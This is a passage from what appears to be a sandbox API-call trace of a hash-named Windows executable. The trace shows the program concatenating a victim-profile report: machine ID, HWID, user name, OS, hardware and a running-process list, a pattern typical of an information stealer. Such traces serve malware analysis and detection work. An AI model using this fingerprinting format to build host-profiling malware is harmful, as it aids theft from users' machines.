C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe ["
[0054.840] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d968
[0054.840] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.840] GetLastError () returned 0x7a
[0054.840] SetLastError (dwErrCode=0x7a)
[0054.840] GetLastError () returned 0x7a
[0054.840] SetLastError (dwErrCode=0x7a)
[0054.840] GetLastError () returned 0x7a
[0054.841] SetLastError (dwErrCode=0x7a)
[0054.841] GetLastError () returned 0x7a
[0054.841] SetLastError (dwErrCode=0x7a)
[0054.841] GetLastError () returned 0x7a
[0054.841] SetLastError (dwErrCode=0x7a)
[0054.841] GetLastError () returned 0x7a
[0054.841] SetLastError (dwErrCode=0x7a)
[0054.841] GetLastError () returned 0x7a
[0054.841] SetLastError (dwErrCode=0x7a)
[0054.841] GetLastError () returned 0x7a
[0054.841] SetLastError (dwErrCode=0x7a)
[0054.841] GetLastError () returned 0x7a
[0054.841] SetLastError (dwErrCode=0x7a)
[0054.841] GetLastError () returned 0x7a
[0054.841] SetLastError (dwErrCode=0x7a)
[0054.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0054.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.841] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d968 | out: hHeap=0x670000) returned 1
[0054.841] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [", lpString2="1228" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228"
[0054.841] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n"
[0054.841] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x358, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
[0054.842] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- "
[0054.842] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- ", lpString2="sihost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe"
[0054.842] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe ["
[0054.842] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9a8
[0054.842] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.842] GetLastError () returned 0x7a
[0054.842] SetLastError (dwErrCode=0x7a)
[0054.842] GetLastError () returned 0x7a
[0054.842] SetLastError (dwErrCode=0x7a)
[0054.843] GetLastError () returned 0x7a
[0054.843] SetLastError (dwErrCode=0x7a)
[0054.843] GetLastError () returned 0x7a
[0054.843] SetLastError (dwErrCode=0x7a)
[0054.843] GetLastError () returned 0x7a
[0054.843] SetLastError (dwErrCode=0x7a)
[0054.843] GetLastError () returned 0x7a
[0054.843] SetLastError (dwErrCode=0x7a)
[0054.843] GetLastError () returned 0x7a
[0054.843] SetLastError (dwErrCode=0x7a)
[0054.843] GetLastError () returned 0x7a
[0054.843] SetLastError (dwErrCode=0x7a)
[0054.843] GetLastError () returned 0x7a
[0054.843] SetLastError (dwErrCode=0x7a)
[0054.843] GetLastError () returned 0x7a
[0054.843] SetLastError (dwErrCode=0x7a)
[0054.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0054.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.843] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0054.843] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [", lpString2="1452" | out: 